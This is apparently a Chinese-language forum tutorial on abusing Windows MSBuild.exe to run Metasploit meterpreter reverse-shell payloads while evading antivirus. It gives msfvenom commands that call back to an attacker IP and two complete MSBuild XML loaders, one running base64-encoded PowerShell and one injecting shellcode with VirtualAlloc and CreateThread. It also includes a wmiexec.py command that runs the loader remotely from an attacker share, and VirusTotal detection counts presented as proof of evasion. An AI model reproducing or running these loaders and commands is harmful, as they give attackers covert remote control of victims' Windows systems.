一,MSBuild.exe介绍 Microsoft Build Engine是一个用作内置应用程序的平台,此引擎也被称为msbuild,它为项目文件提供一个XML模式,该模式控制构建平台如何处理和构建软件。VisualStudio使用MSBuild,但它不依赖于Visual Studio。通过在项目或解决方案文件中调用msbuild.exe,可以在未安装Visual Studio的环境中编译和生成程序。 说明:Msbuild.exe所在路径没有被系统添加路径环境变量中,因此,Msbuild命令无法直接在cmd中使用。需要带上路径:C:\Windows\Microsoft.NET\Framework\v4.0.30319。 适用条件:.NET Framework>=4.0 二,利用MSBuild.exe执行有效载荷法1(VT查杀率4/57)使用msfvenom生成shellcode,注意生成的是psh格式
- msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.211.55.2 lport=3333 -f psh -o shell.ps1
复制代码然后打开shell.ps1文件,在文件最后添加一行for (;;){\n Start-sleep 60\n},保存一下。
然后把编码后的内容替换到下面的代码中cmd =处,并保存为shell.xml。
- <Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
- <!-- This inline task executes c# code. -->
- <!-- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe nps.xml -->
- <!-- Original MSBuild Author: Casey Smith, Twitter: @subTee -->
- <!-- NPS Created By: Ben Ten, Twitter: @ben0xa -->
- <!-- License: BSD 3-Clause -->
- <Target Name="npscsharp">
- <nps />
- </Target>
- <UsingTask
- TaskName="nps"
- TaskFactory="CodeTaskFactory"
- AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
- <Task>
- <Reference Include="System.Management.Automation" />
- <Code Type="Class" Language="cs">
- <![CDATA[
- using System;
- using System.Collections.ObjectModel;
- using System.Management.Automation;
- using System.Management.Automation.Runspaces;
- using Microsoft.Build.Framework;
- using Microsoft.Build.Utilities;
- public class nps : Task, ITask
- {
- public override bool Execute()
- {
- string cmd = "JEFuRUl---base64_shellcode-----xsSW1wb3J0KCJrZXJuZWwzMi5k";
- PowerShell ps = PowerShell.Create();
- ps.AddScript(Base64Decode(cmd));
- Collection<PSObject> output = null;
- try
- {
- output = ps.Invoke();
- }
- catch(Exception e)
- {
- Console.WriteLine("Error while executing the script.\r\n" + e.Message.ToString());
- }
- if (output != null)
- {
- foreach (PSObject rtnItem in output)
- {
- Console.WriteLine(rtnItem.ToString());
- }
- }
- return true;
- }
- public static string Base64Encode(string text) {
- return System.Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(text));
- }
- public static string Base64Decode(string encodedtext) {
- return System.Text.Encoding.UTF8.GetString(System.Convert.FromBase64String(encodedtext));
- }
- }
- ]]>
- </Code>
- </Task>
- </UsingTask>
- </Project>
复制代码msbuild.exe加载文件的方式有两种
- 1. 本地加载执行:
- - %windir%\Microsoft.NET\Framework\v4.0.30319\msbuild.exe <folder_path_here>\msbuild_nps.xml
- 2. 远程文件执行:
- wmiexec.py <USER>:'<PASS>'@<RHOST> cmd.exe /c start %windir%\Microsoft.NET\Framework\v4.0.30319\msbuild.exe \\<attackerip>\<share>\msbuild_nps.xml
复制代码我这里就用本地加载进行测试,msbuild.exe在windows中的的一般路径为C:\windows\microsoft.net\framework\v4.0.30319\msbuild.exe msfconsole监听相应payload和端口,打开杀软进行测试 可正常上线 virustotal.com上shell.xml查杀杀死植入4/57 三,利用MSBuild.exe执行有效载荷法2(VT查杀率18/58)
需要先通过msfvenom生成C#的shellcode - msfvenom -p windows/meterpreter/reverse_tcp lhost=10.211.55.2 lport=3333 -f cshar
复制代码将生成的shellcode替换为以下代码的byte[] shellcode =处,将文件保存为shell2.xml。
- <Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
- <!-- This inline task executes shellcode. -->
- <!-- C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe SimpleTasks.csproj -->
- <!-- Save This File And Execute The Above Command -->
- <!-- Author: Casey Smith, Twitter: @subTee -->
- <!-- License: BSD 3-Clause -->
- <Target Name="Hello">
- <ClassExample />
- </Target>
- <UsingTask
- TaskName="ClassExample"
- TaskFactory="CodeTaskFactory"
- AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
- <Task>
-
- <Code Type="Class" Language="cs">
- <![CDATA[
- using System;
- using System.Runtime.InteropServices;
- using Microsoft.Build.Framework;
- using Microsoft.Build.Utilities;
- public class ClassExample : Task, ITask
- {
- private static UInt32 MEM_COMMIT = 0x1000;
- private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
- [DllImport("kernel32")]
- private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,
- UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
- [DllImport("kernel32")]
- private static extern IntPtr CreateThread(
- UInt32 lpThreadAttributes,
- UInt32 dwStackSize,
- UInt32 lpStartAddress,
- IntPtr param,
- UInt32 dwCreationFlags,
- ref UInt32 lpThreadId
- );
- [DllImport("kernel32")]
- private static extern UInt32 WaitForSingleObject(
- IntPtr hHandle,
- UInt32 dwMilliseconds
- );
- public override bool Execute()
- {
- byte[] shellcode = new byte[195] {
- 0xfc,--shellcode_here--,0x00 };
-
- UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length,
- MEM_COMMIT, PAGE_EXECUTE_READWRITE);
- Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);
- IntPtr hThread = IntPtr.Zero;
- UInt32 threadId = 0;
- IntPtr pinfo = IntPtr.Zero;
- hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
- WaitForSingleObject(hThread, 0xFFFFFFFF);
- return true;
- }
- }
- ]]>
- </Code>
- </Task>
- </UsingTask>
- </Project>
复制代码在msf中监听相应端口,在测试机中执行C:\windows\microsoft.net\framework\v4.0.30319\msbuild.exe shell2.xml msf中可上线 virustotal.com上shell2.xml查杀杀死植入18/58 virustotal.com上该代码查杀率目前为13/58。 四,参考资料
|